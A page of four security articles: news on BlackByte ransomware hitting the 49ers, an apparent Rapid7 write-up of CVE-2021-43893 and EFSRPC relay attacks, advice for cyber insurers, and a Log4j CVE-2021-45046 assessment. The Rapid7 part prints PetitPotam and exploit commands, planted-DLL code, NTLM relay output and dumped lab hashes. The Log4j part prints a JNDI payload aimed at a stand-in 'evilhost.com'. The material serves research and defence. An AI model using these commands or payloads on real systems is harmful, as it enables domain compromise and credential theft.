BlackByte Tackles the SF 49ers & US Critical Infrastructure

 

Description

The San Francisco 49ers were recently kneecapped by a BlackByte ransomware attack that temporarily discombobulated the NFL team’s corporate IT network on the Big Buffalo Wing-Snarfing Day itself: Superbowl Sunday.

BlackByte – a ransomware-as-a-service (RaaS) gang that leases its ransomware to affiliates who cut it in on a share of ransom profits – claimed responsibility for the attack by leaking files purportedly stolen in the cyber assault.

The 49ers confirmed the attack to Threatpost on Monday. The team’s statement:

“We recently became aware of a network security incident that resulted in temporary disruption to certain systems on our corporate IT network. Upon learning of the incident, we immediately initiated an investigation and took steps to contain the incident.”

The 49ers brought in third-party cybersecurity firms to assist and notified law enforcement. The team was still investigating as of Monday, but so far, it looks like the intrusion was limited to its corporate IT network and didn’t affect ticket systems or systems at the team’s home base, Levi’s Stadium…

“To date, we have no indication that this incident involves systems outside of our corporate network, such as those connected to Levi’s Stadium operations or ticket holders,” its statement said. “As the investigation continues, we are working diligently to restore involved systems as quickly and as safely as possible.”

Joseph Carson, chief security scientist and advisory CISO at provider of privileged access management (PAM) solutions provider Delinea, suggested to Threatpost that it’s likely that an affiliate hacked the 49ers, as opposed to the authors behind the ransomware, given that BlackByte is an RaaS.

BlackByte recently posted some files purportedly stolen from the team on a dark web site in a file marked “2020 Invoices.” The gang hasn’t made its ransom demands public. Nor has the group specified how much data it stole or encrypted.

Source: Ars Technica.

Carson said that the Superbowl timing makes this one a classic case of cyber pests milking a major event: the kind of situation where they can get unsuspecting victims “to click on links, download and execute malicious software or give over their credentials, thinking they are accessing a legitimate internet services, resulting in cybercriminals gaining initial access to networks and services. Once access is compromised, it is only a matter of time before ransomware is deployed.”

Attack Follows Fast on Heels of Feds’ Warning

The attack on the 49ers came two days after the FBI and Secret Service jointly announced (PDF) that BlackByte ransomware has breached the networks of at least three organizations from U.S. critical infrastructure sectors in the last three months.

“As of November 2021, BlackByte ransomware had compromised multiple US and foreign businesses, including entities in at least three US critical infrastructure sectors (government facilities, financial, and food & agriculture),” the Feds said in a TLP:WHITE joint cybersecurity advisory released on Friday.

BlackByte’s Back

The gang emerged in July 2021, when it started preying on organizations by exploiting known Microsoft Exchange vulnerabilities – such as ProxyShell – to claw its way into environments.

It worked for a while: BlackByte scored wins against manufacturing, healthcare and construction industries in the United States, Europe and Australia. But the gang hit a wall when, months later, Trustwave released a free decryption tool that allowed BlackByte victims to unsnarl their files.

As Trustwave said in October, the security firm found BlackByte to be a ransomware weirdo, for these reasons:

1. Same as other notorious ransomware variants like REvil, BlackByte also avoids systems with Russian and ex-USSR languages.
2. It has a worm functionality similar to RYUK ransomware.
3. It creates a wake-on-LAN magic packet and sends it to the target host – making sure they are alive when infecting them.
4. The author hosted the encryption key in a remote HTTP server and in a hidden file with .PNG extension.
5. The author lets the program crash if it fails to download the encryption key.
6. The RSA public key embedded in the body is only used once, to encrypt the raw key to display in the ransom note – that’s it.
7. The ransomware uses only one symmetric key to encrypt the files.

As far as BlackByte’s auction site for selling victims’ data goes, it’s apparently a house of mirrors. While the site claims to contain exfiltrated data from victims, the ransomware itself doesn’t have the ability to exfiltrate data, Trustwave’s Rodel Mendrez and Lloyd Macrohon wrote. “This claim is probably designed to scare their victims into complying,” they said.

BlackByte’s Onion site. Source: Trustwave.

As the Trustwave analysts pointed out in October, the group uses simplistic encryption techniques, using just one symmetric key to encrypt files in AES, as opposed to using unique keys for each session.

But despite the setback of Trustwave’s decryptor and what experts think of as its simplistic encryption, BlackByte is clearly doing just fine, given the FBI/Secret Service alert on Friday.

Matthew Warner, CTO and co-founder at Blumira, a provider of automated threat detection and response technology, called BlackByte a “growing ransomware operator” that’s benefited from following successful patterns implemented by previous groups.

“Similar to Conti ransomware, BlackByte has been identified using Exchange vulnerabilities such as ProxyShell to gain a foothold in environments,” Warner observed to Threatpost on Monday. “Additionally, BlackByte utilizes well-proven tactics such as Powershell exploitation of obfuscated base64 content to perform all encryption on hosts once exploited.

“In the end, BlackByte is by no means more sophisticated than other actors in the ransomware universe but rather are the next up-and-coming player to exploit organizations and their data,” Warner added via email.

Critical Infrastructure

Erich Kron, security awareness advocate at KnowBe4, focused on the FBI warning about BlackByte’s success in penetrating the critical infrastructure sector: a sector that’s been “plagued” by ransomware attacks, he said.

“The criticality of the systems makes quick recovery vital, which increases the likelihood that the victims will pay the ransom,” Kron said in a Monday email. “This same criticality also makes law enforcement attention much more likely. However, given the low success rate of law enforcement busts, this is often a chance the groups are willing to take.”

Kron blamed limited budgets, aging equipment and shortages in cybersecurity staff for making critical infrastructure and many government entities especially vulnerable to ransomware attacks.

“These groups must focus on the top attack vectors used in ransomware attacks, usually email phishing and attacks on remote access portals,” he advised. “Training the users to spot and report phishing emails and improving the organizational security culture, along with ensuring remote access portals are monitored for brute force attacks and that credentials being used have Multi-Factor Authentication (MFA) enabled are some top ways to counter these threats.”

Read More

Dropping Files on a Domain Controller Using CVE-2021-43893

 

Description

On December 14, 2021, during the Log4Shell chaos, Microsoft published CVE-2021-43893, a remote privilege escalation vulnerability affecting the Windows Encrypted File System (EFS). The vulnerability was credited to James Forshaw of Google Project Zero, but perhaps owing to the Log4Shell atmosphere, the vulnerability gained little to no attention.

On January 13, 2022, Forshaw tweeted about the vulnerability.

The tweet suggests that CVE-2021-43893 was only issued a partial fix in the December 2021 update and that authenticated and remote users could still write arbitrary files on domain controllers. James linked to the Project Zero bug tracker, where an extended writeup and some proof-of-concept code was stored.

This vulnerability was of particular interest to me, because I had recently discovered a local privilege escalation (LPE) using file planting in a Windows product. The vulnerable product could reasonably be deployed on a system with unconstrained delegation, which meant I could use CVE-2021-43893 to remotely plant the file as a low-privileged remote user, turning my LPE into RCE.

I set out to investigate if the remote file-writing aspect of James Forshaw’s bug was truly unpatched. The investigation resulted in a few interesting observations:

• Low-privileged user remote file-writing was patched in the December update. However, before the December update, a remote low-privileged user really could write arbitrary files on system-assigned unconstrained delegation.
• Forced authentication and relaying are still not completely patched. Relay attacks initiated on the efsrpc named pipe have been known since inclusion in PetitPotam in July 2021. The issue seems to persist despite multiple patch attempts.

Although the file upload aspect of this vulnerability has been patched, I found the vulnerability quite interesting. The vulnerability is certainly limited by the restrictions on where a low-privileged user can create files on a Domain Controller, and maybe that is why the vulnerability didn’t receive more attention. But as I touched upon, it can be paired with a local vulnerability to achieve remote code execution, and as such, I thought it deserved more attention. I also have found the failure to properly patch forced authentication over the EFSRPC protocol to be worthy of more examination.

Inadequate EFSPRC forced authentication patching: A brief history of PetitPotam

PetitPotam was released in the summer of 2021 and was widely associated with an attack chain that starts as an unauthenticated and remote attacker and ends with domain administrator privileges. PetitPotam is only the beginning of that chain. It allows an attacker to force a victim Windows computer to authenticate to a third party (e.g. MITRE ATT&CK T118 - forced authentication). The full chain is interesting, but this discussion is only interested in the initial portion triggered by PetitPotam.

PetitPotam triggers forced authentication using the EFSRPC protocol. The original implementation of the exploit performed the attack over the lsarpc named pipe. The attack is quite simple. Originally, PetitPotam sent the victim server an EfsRpcOpenFileRaw request containing a UNC file path. Using a UNC path such as \\10.0.0.4\fake_share\fake_file forces the victim server to reach out to the third-party server, 10.0.0.4 in this example, in order to read off of the desired file share. The third-party server can then tell the victim to authenticate in order to access the share, and the victim obliges. The result is the victim leaks their Net-NTLM hash. That’s the whole thing. We will later touch on what an attacker can do with this hash, but for this section, that’s all we need to know.

Microsoft first attempted to patch the EFSRPC forced authentication in August 2021 by blocking the use of EfsRpcOpenFileRaw over the lsarpc named pipe. To do this, they added logic to efslsaext.dll’s EfsRpcOpenFileRaw_Downllevel function to check for a value stored in the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EFS\AllowOpenRawDL. Because this registry key doesn’t exist by default, a typical configuration will always fail this check.

That patch was inadequate, because EfsRpcOpenFileRaw isn’t the only EFSRPC function that accepts a UNC file path as a parameter. PetitPotam was quickly updated to use EfsRpcEncryptFileSrv, and just like that, the patch was bypassed.

The patch also failed to recognize that the lsarpc named pipe wasn’t the only named pipe that EFSRPC can be executed over. The efsrpc named pipe (among others) can also be used. efsrpc named pipe is slightly less desirable, since it requires the attacker to be authenticated, but the attack works over that pipe, and it doesn’t use the EfsRpcOpenFileRaw_Downlevel function. That means an attacker can also bypass the patch by switching named pipes.

As mentioned earlier, PetitPotam was updated in July 2021 to use the efsrpc named pipe. The following output shows PetitPotam forcing a Domain Controller patched through November 2021 to authenticate with an attacker controlled box running Responder.py (10.0.0.6) (I’ve left out the Responder bit since this is just meant to highlight the EFSRPC was available and unpatched for months).

albinolobster@ubuntu:~/impacket/examples$ python3 petitpotam.py -pipe efsr -u 'lowlevel' -p ‘cheesed00dle!' -d okhuman.ninja  10.0.0.6 10.0.0.5 

                                                                                               
              ___            _        _      _        ___            _                     
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)
      
                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN



[-] Connecting to ncacn_np:10.0.0.5[\PIPE\efsrpc]
[+] Connected!
[+] Binding to df1941c5-fe89-4e79-bf10-463657acf44d
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

Not only did Microsoft fail to patch the issue, but they didn’t issue follow-up patches for months. They also haven’t updated their advisory indicating the vulnerability has been exploited in the wild, despite its inclusion in CISA’s Known Exploited Vulnerability Catalog.

In December 2021, Microsoft released a patch for a different EFSRPC vulnerability: CVE-2021-43217. As part of the remediation for that issue, Microsoft implemented some hardening measures on EFSRPC communication. In particular, EFSRPC clients would need to use RPC_C_AUTHN_LEVEL_PKT_PRIVACY when using EFSRPC. If the client fails to do so, then the client is rejected and a Windows application event is generated.

At the time of the December patch, PetitPotam didn’t use this specific setting. However, a quick update allowed the exploit to comply with the new requirement and get back to leaking machine account NTLM hashes of fully patched Windows machines.

CVE-2021-43893: Windows EFS remote file upload

James Forshaw’s CVE-2021-43893 dives deeper into the EFSRPC functionality, but the heart of the issue is still a UNC file path problem. PetitPotam’s UNC path pointed to an external server, but CVE-2021-43893 points internally using the UNC path: \\.\C:\. Using a UNC path that points to the victim’s local file system allows attackers to create files and directories on the victim file system.

There are two major caveats to this vulnerability. First, the file-writing aspect of this vulnerability only appears to work on systems with unconstrained delegation. That’s fine if you are only interested in Domain Controllers, but less good if you are only interested in workstations.

Second, the victim server is impersonating the attacker when the file manipulation occurs. This means a low-privileged attacker can only write to the places where they have permission (e.g. C:\ProgramData\). Therefore, exploitation resulting in code execution is not a given. Still, while code execution isn’t guaranteed, there are many plausible scenarios that could lead there.

A plausible scenario leading to RCE using CVE-2021-43893

My interest in this vulnerability started with a local privilege escalation that I wanted to convert into remote code execution as a higher-privileged user. We can’t yet share the LPE as it’s still unpatched, but we can create a plausible scenario that demonstrates the ability to achieve code execution.

Microsoft has long maintained that Microsoft services vulnerable to DLL planting via a world writable %PATH% directory are won’t-fix low-security issues — a weird position given the effort it would take to fix such issues. But regardless, exploiting world-writable %PATH to escalate privileges via a Windows service (MITRE ATT&CK - Hijack Execution Flow: DLL Search Order Hijacking) is a useful technique when it’s available.

There’s a well-known product that installs itself into a world-writable directory: Python 2.7, all the way through it’s final release 2.7.18.

C:\Users\administrator>icacls.exe C:\Python27\
C:\Python27\ NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
             BUILTIN\Administrators:(I)(OI)(CI)(F)
             BUILTIN\Users:(I)(OI)(CI)(RX)
             BUILTIN\Users:(I)(CI)(AD)
             BUILTIN\Users:(I)(CI)(WD)
             CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files

The Python 2.7 installer drops files into C:\Python27\ and provides the user with the following instructions:

Besides using the automatically created start menu entry for the Python interpreter, you might want to start Python in the DOS prompt. To make this work, you need to set your %PATH% environment variable to include the directory of your Python distribution, delimited by a semicolon from other entries. An example variable could look like this (assuming the first two entries are Windows’ default):

C:\WINDOWS\system32;C:\WINDOWS;C:\Python25

Typing python on your command prompt will now fire up the Python interpreter. Thus, you can also execute your scripts with command line options, see Command line documentation.

Following these instructions, we now have a world-writable directory in %PATH% — which is, of course, the exploitable condition we were looking for. Now we just have to find a Windows service that will search for a missing DLL in C:\Python27\. I quickly accomplished this task by restarting all the running services on a test Windows Server 2019 and watching procmon. I found a number of services will search C:\Python27\ for:

• fveapi.dll
• cdpsgshims.dll

To exploit this, we just need to drop a “malicious” DLL named fveapi.dll or cdpsgshims.dll in C:\Python27. The DLL will be loaded when a vulnerable service restarts or the server reboots.

For this simple example, the “malicious” dll just creates the file C:\r7.txt:

#include <Windows.h>

HANDLE hThread;
DWORD dwThread;

DWORD WINAPI doCreateFile(LPVOID)
{
    HANDLE createFile = CreateFileW(L"C:\\r7.txt", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
    CloseHandle(createFile);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE, DWORD  ul_reason_for_call, LPVOID)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hThread = CreateThread(NULL, 0, doCreateFile, NULL, 0, &dwThread);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

After compiling the DLL, an attacker can remotely drop the file into C:\Python27 using CVE-2021-43893. The following is the output from our refactored and updated version of Forshaw’s original proof of concept. The attacker is attempting to remotely write the DLL on 10.0.0.6 (vulnerable.okhuman.ninja):

C:\ProgramData>whoami
okhuman\lowlevel

C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Python27\fveapi.dll -i ./dll_inject64.dll
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Python27\fveapi.dll
[+] Encrypt the empty remote file...
[+] Reading the encrypted remote file object
[+] Read back 1244 bytes
[+] Writing 92160 bytes of attacker data to encrypted object::$DATA stream
[+] Decrypt the the remote file
[!] Success!

C:\ProgramData>

The attack yields the desired output, and the file is written to C:\Python27\ on the remote target.

Below is the Procmon output demonstrating successful code execution as NT AUTHORITY\ SYSTEM when the “DFS Replication” service is restarted. Note that the malicious DLL is loaded and the file “C:\r7.txt” is created.

Do many administrators install Python 2.7 on their Domain Controller? I hope not. That wasn’t really the point. The point is that exploitation using this technique is plausible and worthy of our collective attention to ensure that it gets patched and monitored for exploitation.

What can a higher-privileged user do?

Oddly, administrators can do anything a low-level user can do except write data to files. When the administrator attempts to write to a file using Forshaw’s ::DATA stream technique, the result is an ACCESS DENIED error. Candidly, I didn’t investigate why.

However, it is interesting to note that the administrative user can remotely overwrite all files. This doesn’t serve much purpose from an offensive standpoint, but would serve as an easy, low-effort wiper or data destruction attack. Here is a silly example of remotely overwriting calc.exe from an administrator account.

C:\ProgramData>whoami
okhuman\test_admin

C:\ProgramData>.\blankspace.exe -r vulnerable.okhuman.ninja -f \\.\C:\Windows\System32\calc.exe -s "aaaaaaaaaaaa"
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to vulnerable.okhuman.ninja
[+] Attempting to write to \\.\C:\Windows\System32\calc.exe
[+] Encrypt the empty remote file...
[-] EfsRpcEncryptFileSrv failed with status code: 5

C:\ProgramData>

As you can see from the output, the tool failed with status code 5 (Access Denied). However, calc.exe on the remote device was successfully overwritten.

Technically speaking, this doesn’t really represent a security boundary being crossed. Administrators typically have access to \host\C$ or \host\admin$, but the difference in behavior seemed worth mentioning. I’d also note that as of February 2022, administrative users can still do this using \\localhost\C$\Windows\System32\calc.exe.

Forshaw also mentioned in his original writeup, and I confirmed, that this attack generates the attacking user’s roaming profile on the victim server. That could be a pretty interesting file-upload vector if the Active Directory environment synchronizes roaming directories. Again, I didn’t investigate that any further, but it could be useful in the correct environment.

Forced authentication still not entirely patched

The December 2021 patch brought multiple changes to efslsaext.dll and resulted in partial mitigation of CVE-2021-43893. One of the changes was the introduction of two new functions: EfsEnsureLocalPath and EfsEnsureLocalHandle. EfsEnsureLocalPath grabs a HANDLE for the attacker provided file using CreateW. The HANDLE is then passed to EfsEnsureLocalHandle, which passes the HANDLE to NtQueryVolumeInformationFile to validate the characteristics flag doesn’t contain FILE_REMOTE_DEVICE.

Because the patch still opens a HANDLE using the attacker-controlled file path, EFSRPC remains vulnerable to forced authentication and relay attacks of the machine account.

Demonstration of the forced authentication and relay does not require the complicated attack often associated with PetitPotam. We just need three boxes:

The Relay (10.0.0.3): A Linux system running ntlmrelayx.py.
The Attacker (10.0.0.6): A fully patched Windows 10 system.
The Victim (10.0.0.12): A fully patched Windows Server 2019 system.

The only caveat for this example is that the victim’s machine account (aka computer account) is assigned to the Domain Admins group. Below, you can see the machine account for 10.0.0.12, YEET$, is a member of Domain Admins.

This may not be a common configuration, but it’s common enough that it’s been the subject of a couple excellent writeups.

The attack is launched by a low-privileged user on 10.0.0.6 using the blankspace.exe proof of concept. The attack will force 10.0.0.12 (yet.okhuman.ninja) to authenticate to the attacker relay at 10.0.0.3

C:\ProgramData>blankspace.exe -r yeet.okhuman.ninja -f \\10.0.0.3\r7\r7 --relay
 ____    ___                    __          ____
/\  _`\ /\_ \                  /\ \        /\  _`\
\ \ \L\ \//\ \      __      ___\ \ \/'\    \ \,\L\_\  _____      __      ___     __
 \ \  _ <'\ \ \   /'__`\  /' _ `\ \ , <     \/_\__ \ /\ '__`\  /'__`\   /'___\ /'__`\
  \ \ \L\ \\_\ \_/\ \L\.\_/\ \/\ \ \ \\`\     /\ \L\ \ \ \L\ \/\ \L\.\_/\ \__//\  __/
   \ \____//\____\ \__/.\_\ \_\ \_\ \_\ \_\   \ `\____\ \ ,__/\ \__/.\_\ \____\ \____\
    \/___/ \/____/\/__/\/_/\/_/\/_/\/_/\/_/    \/_____/\ \ \/  \/__/\/_/\/____/\/____/
                                                        \ \_\
                                                         \/_/
[+] Creating EFS RPC binding handle to yeet.okhuman.ninja
[+] Sending EfsRpcDecryptFileSrv for \\10.0.0.3\r7\r7
[-] EfsRpcDecryptFileSrv failed with status code: 53
[+] Network path not found error received!
[!] Success!

C:\ProgramData>

The Linux relay is running ntlmrelayx.py and configured to relay the YEET$ authentication to 10.0.0.6 (the original attacker box). Below, you can see ntlmrelayx.py capture the authentication and send it on to 10.0.0.6.

albinolobster@ubuntu:~/impacket/examples$ sudo python3 ntlmrelayx.py -debug -t 10.0.0.6 -smb2support 
Impacket v0.9.25.dev1+20220105.151306.10e53952 - Copyright 2021 SecureAuth Corporation

[*] SMBD-Thread-4: Connection from OKHUMAN/YEET$@10.0.0.12 controlled, attacking target smb://10.0.0.6
[*] Authenticating against smb://10.0.0.6 as OKHUMAN/YEET$ SUCCEED

The relay is now authenticated to 10.0.0.6 as YEET$, a domain administrator. It can do pretty much as it pleases. Below, you can see it dumps the local SAM database.

[*] Target system bootKey: 0x9f868ddb4e1dfc56d992aa76ff931df4
[+] Saving remote SAM database
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6aa01bb4a68e7fd8650cdeb6ad2b63ec:::
[+] NewStyle hashes is: True
albinolobster:1000:aad3b435b51404eeaad3b435b51404ee:430ef7587d6ac4410ac8b78dd5cc2bbe:::
[*] Done dumping SAM hashes for host: 10.0.0.6

It’s as easy as that. All you have to do is find a host with a machine account in the domain admins group:

C:\ProgramData>net group "domain admins" /domain
The request will be processed at a domain controller for domain okhuman.ninja.

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            test_domain_admin        YEET$
The command completed successfully.


C:\ProgramData>

Once you have that, a low-privileged remote attacker can use EFSRPC to relay and escalate to other machines. However, the attack isn’t exactly silent. On 10.0.0.6, event ID 4624 was created when the 10.0.0.3 relay logged in using the YEET$ machine account.

Final thoughts and remediation

What began as an investigation into using an unpatched remote file-write vulnerability ended up being a history lesson in EFSRPC patches. The remote file-write vulnerability that I originally wanted to use has been patched, but we demonstrated the forced authentication issue hasn’t been adequately fixed. There is no doubt that Windows developers have a tough job. However, a lot of the issues discussed here could have been easily avoided with a reasonable patch in August 2021. The fact that they persist today says a lot about the current state of Windows security.

To mitigate these issues as best as possible, as always, ensure your systems are successfully updated monthly. Microsoft has released multiple advisories with recommendations regarding NTLM Relay-based attacks (see: Microsoft Security Advisory 974926
and KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS). The most important advice is to ensure SMBv1 no longer exists in your environment and to require SMB signing.

Some other general advice:

• Monitoring for event ID 4420 in Windows application event logs can help detect EFSRPC-based hacking tools.
• Monitor for event ID 4624 in Windows security event logs for remote machine account authentication.
• Audit machine accounts to ensure they are not members of Domain Admins.
  If possible, audit %PATH% of critical systems to ensure no world-writable path exists.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2021-43893 with authenticated vulnerability checks available in the December 15, 2021 content release.

Metasploit Framework users can test their exposure to forced authentication attacks with a new PetitPotam module available in the 6.1.29 release.

Additional reading:

• PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains Running AD CS
• Driver-Based Attacks: Past and Present
• Open-Source Security: Getting to the Root of the Problem
• Ongoing Exploitation of Windows Installer CVE-2021-41379

NEVER MISS A BLOG

Read More

The Big Target on Cyber Insurers' Backs

 

Description

Here at IntSights, a Rapid7 company, our goal is to equip organizations around the world with an understanding of the threats facing them in today’s cyber threat landscape. Most recently, we took a focused look at the insurance industry — a highly targeted vertical due to the amount of personally identifiable information (PII) these organizations hold. We’ve collected our findings in the “2022 Insurance Industry Cyber Threat Landscape Report," which you can read in full right now.

While conducting this research, one key takeaway caught my eye: the big target on cyber insurers’ backs. Some of these organizations provide cyber insurance coverage for businesses, so in the event of a breach that imposes significant costs on a targeted business, that business is not 100% financially liable.

According to our cyber threat intelligence research, cyber insurance providers are even more appealing targets for bad actors in an industry already full of appealing targets. That begged the question: Why are cyber insurers so highly targeted? And what can they do to protect themselves in the face of these threats?

Cyber insurance providers are data goldmines

Typically, bad actors are angling to breach insurance companies to access PII or to collect policyholder details that they can use for insurance fraud. However, when hackers target cyber insurers, they’re seeking even more specific types of data, such as cyber insurance policy details and information outlining the security standards cyber insurance clients follow.

Why is this the case? A ransomware operation could, for example, leverage this information to build a list of potential targets covered under a cyber insurance policy. Some cyber insurance providers will pay an insured victim’s ransom, and if this is stated in the policy, these clients will bump up on the list of high-value targets, because the bad actors may assume they’re more likely to pay a ransom.

Knowledge of the security standards cyber insurers require their customers to fulfill is also dangerous in the wrong hands. It can help attackers craft their techniques to evade victims’ security measures. For example, they may completely avoid strongly defended points of entry and instead target areas of the perimeter with weaker protections. While not a guaranteed path to success, it gives bad actors more information to work with, and that’s never a good thing.

These are very real — and unique — threats facing the cyber insurance segment, and we’ve seen a few breaches like this play out already. In 2021, CNA Financial, a leading US insurance company that provides cyber insurance policies, suffered a cyberattack and reportedly paid a ransom of $40 million USD to ransomware operators.

Other cyber insurance companies that experienced breaches include Tokio Marine Insurance Singapore in August 2021 and global cyber insurer AXA in May 2021. The AXA breach happened shortly after it announced it would stop reimbursing new French customers for ransom payments after ransomware attacks. This was in response to claims by French officials that cyber insurance coverage of ransom payments encouraged more ransomware attacks and higher ransom demands. The attackers may have aimed to punish AXA for this decision, just going to show that the French officials may have been correct in their claim.

How cyber insurers can better protect their data

To defend themselves and their clients against ransomware attacks and data breaches, cyber insurers can follow a few simple steps:

• ****Avoid publicly identifying specific customers by name for any reason.**** For example, it’s common practice to list the names of your biggest brands or enterprise clients on your website. However, this may make your business more appealing to hackers. They may view your organization as a gateway to gain access to your clients — if they can break through your security perimeter, they may get an even larger payload of data from the clients that can foot more expensive ransoms.
• ****Refrain from listing any details about the cyber insurance policies you provide.**** If you publish information about how much your policy compensates the insured in the event of a ransomware attack or security breach, bad actors can use this data to calculate an optimal ransom amount that’s high enough to maximize profit but low enough for victims to accept. As such, your policy details will need extra protection, including encryption and network segmentation.
• ****Scrutinize public-facing web applications and other infrastructure, like automated quote tools.**** Misconfiguration of these applications and bugs can inadvertently expose customer data. Hackers will often target these types of online portals and tools to learn more about a cyber insurer’s policies, and in some cases, they can even gain access to the information they store, which can then be exploited.
• ****Finally, employ rigorous cyber threat intelligence.**** A key component of any risk management and cybersecurity strategy, threat intelligence can help cyber insurance providers understand the types of data that bad actors hope to steal from them, the methods they may use to obtain it, and even the ransomware operators targeting them. These insights can help your team shore up security against impending threats and remediate malicious actions faster in the event of a breach.

By following these recommendations, cyber insurance providers around the world can better protect their data as well as the sensitive information of their partners, clients, and customers. Because of all the valuable data these organizations house, the target on their backs won’t go away, so the best defensive strategy is a proactive one. Comprehensive cyber threat intelligence can play a critical role there.

Take a deep dive into the threats facing the insurance industry today by reading the full research report here: “2022 Insurance Industry Cyber Threat Landscape Report."

Read More

CVE-2021-45046

 

Description

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Recent assessments:

gwillcox-r7 at December 18, 2021 12:29am UTC reported:

Whilst this was originally considered a DoS vulnerability, new evidence has turned up as noted at https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/?s=09#update-the-localhost-bypass-was-discovered and later at https://twitter.com/marcioalm/status/1471740771581652995 by Márcio Almeida that is possible to bypass the allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE by simply modifying following PoC slightly:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

This bypass works due to the call chain calling java.net.URI getHost() returning the value before the # sign as the real host, which will return 127.0.0.1. However the actual JDNI/LDAP resolver will end up using the full hostname string, so provided you can get it to respond to the weird hostname, you should be good.

Further investigation however shows that this vulnerability is mostly mitigated by a few factors as noted by Kevin Beaumont at https://twitter.com/GossiTheDog/status/1471791074314276867 and in a further Twitter thread by @buherator at https://twitter.com/buherator/status/1471869066470113288.

Specifically the following restrictions apply:

1. The vulnerability only applies in a nondefault configuration. Specifically %m{lookups} need to be enabled in the message log. On 2.15.0 message lookups come disabled by default, however previous versions may come shipped with this enabled by default.

2. So far reliable RCE has only been demonstrated on MacOS, and most people aren’t going to be running critical apps on this device.

3. Whilst it is possible to query the weird name LDAP name on other hosts, it appears, according to the thread at https://twitter.com/buherator/status/1471878423459110913, that the Java resolver enforces restrictions that prevent the name from being resolved. Whilst is is possible to get around this, as noted at https://twitter.com/douglasmun/status/1471884380545044480, it requires the DNS provider on the target system being set to a non-default provider.

It should be noted that developments on this are still ongoing so its likely the situation could change, however this is the latest info I have on this as of the evening of December 17th, 2021. Due to the restrictions I’m rating exploitability as very low as a lot of things must be true from the sounds of it for this to be exploitable, however if it is exploitable the impact is very high and is the same as the log4shell exploit.

